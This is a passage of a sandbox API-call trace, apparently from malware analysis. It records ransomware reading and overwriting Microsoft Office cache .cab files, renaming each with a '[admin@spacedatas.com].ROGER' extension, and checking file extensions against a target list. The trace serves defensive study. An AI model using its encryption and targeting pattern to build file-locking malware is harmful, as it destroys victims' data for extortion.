lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.599] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.599] WriteFile (in: hFile=0x3b8, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0046.983] SetEndOfFile (hFile=0x3b8) returned 1 [0046.983] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0046.985] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.985] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.987] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.987] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.988] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.988] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.990] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0046.990] CloseHandle (hObject=0x3b8) returned 1 [0046.990] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.991] lstrlenW (lpString=".doc") returned 4 [0046.991] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.991] lstrlenW (lpString=".docx") returned 5 [0046.991] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.991] lstrlenW (lpString=".pdf") returned 4 [0046.991] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.991] lstrlenW (lpString=".xls") returned 4 [0046.991] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.991] lstrlenW (lpString=".xlsx") returned 5 [0046.991] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.991] lstrlenW (lpString=".ppt") returned 4 [0046.991] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.991] lstrlenW (lpString=".zip") returned 4 [0046.991] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.991] lstrlenW (lpString=".rar") returned 4 [0046.991] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.991] lstrlenW (lpString=".bz2") returned 4 [0046.991] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.991] lstrlenW (lpString=".7z") returned 3 [0046.992] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.992] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.992] lstrlenW (lpString=".dbf") returned 4 [0046.992] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.992] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.992] lstrlenW (lpString=".1cd") returned 4 [0046.992] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.992] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.992] lstrlenW (lpString=".jpg") returned 4 [0046.992] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.992] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.992] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.992] lstrlenW (lpString=".doc") returned 4 [0046.992] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.992] lstrlenW (lpString=".docx") returned 5 [0046.992] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.992] lstrlenW (lpString=".pdf") returned 4 [0046.992] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.992] lstrlenW (lpString=".xls") returned 4 [0046.992] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.992] lstrlenW (lpString=".xlsx") returned 5 [0046.992] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.992] lstrlenW (lpString=".ppt") returned 4 [0046.992] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.992] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.992] lstrlenW (lpString=".zip") returned 4 [0046.992] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.992] lstrlenW (lpString=".rar") returned 4 [0046.992] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.992] lstrlenW (lpString=".bz2") returned 4 [0046.992] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.993] lstrlenW (lpString=".7z") returned 3 [0046.993] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.993] lstrlenW (lpString=".dbf") returned 4 [0046.993] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.993] lstrlenW (lpString=".1cd") returned 4 [0046.993] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.993] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0046.993] lstrlenW (lpString=".jpg") returned 4 [0046.993] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.993] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0046.993] lstrlenW (lpString="AccLR.cab") returned 9 [0046.993] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0046.993] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=28016276) returned 1 [0046.993] CloseHandle (hObject=0x3b8) returned 1 [0046.993] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0046.994] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.994] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0046.994] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0046.994] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0046.994] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.994] ReadFile (in: hFile=0x3b8, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.004] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.004] ReadFile (in: hFile=0x3b8, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.009] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.009] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.009] ReadFile (in: hFile=0x3b8, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.291] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.291] WriteFile (in: hFile=0x3b8, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0047.309] SetEndOfFile (hFile=0x3b8) returned 1 [0047.309] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0047.309] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.309] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.310] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.310] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.312] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.312] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.314] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0047.314] CloseHandle (hObject=0x3b8) returned 1 [0047.314] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.315] lstrlenW (lpString=".doc") returned 4 [0047.315] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.315] lstrlenW (lpString=".docx") returned 5 [0047.315] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.315] lstrlenW (lpString=".pdf") returned 4 [0047.315] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.315] lstrlenW (lpString=".xls") returned 4 [0047.315] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.315] lstrlenW (lpString=".xlsx") returned 5 [0047.315] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.315] lstrlenW (lpString=".ppt") returned 4 [0047.315] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.315] lstrlenW (lpString=".zip") returned 4 [0047.315] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.315] lstrlenW (lpString=".rar") returned 4 [0047.315] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.315] lstrlenW (lpString=".bz2") returned 4 [0047.315] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.315] lstrlenW (lpString=".7z") returned 3 [0047.315] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.315] lstrlenW (lpString=".dbf") returned 4 [0047.315] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.315] lstrlenW (lpString=".1cd") returned 4 [0047.315] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.315] lstrlenW (lpString=".jpg") returned 4 [0047.315] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.316] lstrlenW (lpString=".doc") returned 4 [0047.316] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.316] lstrlenW (lpString=".docx") returned 5 [0047.316] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.316] lstrlenW (lpString=".pdf") returned 4 [0047.316] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.316] lstrlenW (lpString=".xls") returned 4 [0047.316] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.316] lstrlenW (lpString=".xlsx") returned 5 [0047.316] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.316] lstrlenW (lpString=".ppt") returned 4 [0047.316] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.316] lstrlenW (lpString=".zip") returned 4 [0047.316] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.316] lstrlenW (lpString=".rar") returned 4 [0047.316] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.316] lstrlenW (lpString=".bz2") returned 4 [0047.316] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.316] lstrlenW (lpString=".7z") returned 3 [0047.316] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.316] lstrlenW (lpString=".dbf") returned 4 [0047.316] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.316] lstrlenW (lpString=".1cd") returned 4 [0047.316] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0047.316] lstrlenW (lpString=".jpg") returned 4 [0047.316] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.317] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0047.317] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0047.317] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0047.317] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=36233052) returned 1 [0047.317] CloseHandle (hObject=0x3b8) returned 1 [0047.317] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0047.317] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.317] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0047.318] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0047.318] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0047.318] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.318] ReadFile (in: hFile=0x3b8, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.678] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.679] ReadFile (in: hFile=0x3b8, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.682] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.682] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.682] ReadFile (in: hFile=0x3b8, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.704] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.704] WriteFile (in: hFile=0x3b8, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0047.722] SetEndOfFile (hFile=0x3b8) returned 1 [0047.722] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0047.723] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.723] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.723] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.723] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.724] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.724] WriteFile (in: hFile=0x3b8, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.977] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0047.978] CloseHandle (hObject=0x3b8) returned 1 [0047.978] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.979] lstrlenW (lpString=".doc") returned 4 [0047.979] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.979] lstrlenW (lpString=".docx") returned 5 [0047.979] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0047.979] lstrlenW (lpString=".pdf") returned 4 [0047.979] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.979] lstrlenW (lpString=".xls") returned 4 [0047.979] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.979] lstrlenW (lpString=".xlsx") returned 5 [0047.979] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0047.979] lstrlenW (lpString=".ppt") returned 4 [0047.979] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.979] lstrlenW (lpString=".zip") returned 4 [0047.979] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.979] lstrlenW (lpString=".rar") returned 4 [0047.979] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.979] lstrlenW (lpString=".bz2") returned 4 [0047.979] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.979] lstrlenW (lpString=".7z") returned 3 [0047.979] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.979] lstrlenW (lpString=".dbf") returned 4 [0047.979] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0047.979] lstrlenW (lpString=".1cd") returned 4 [0047.979] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.979] lstrlenW (lpString="C:\\MSOCache\\All 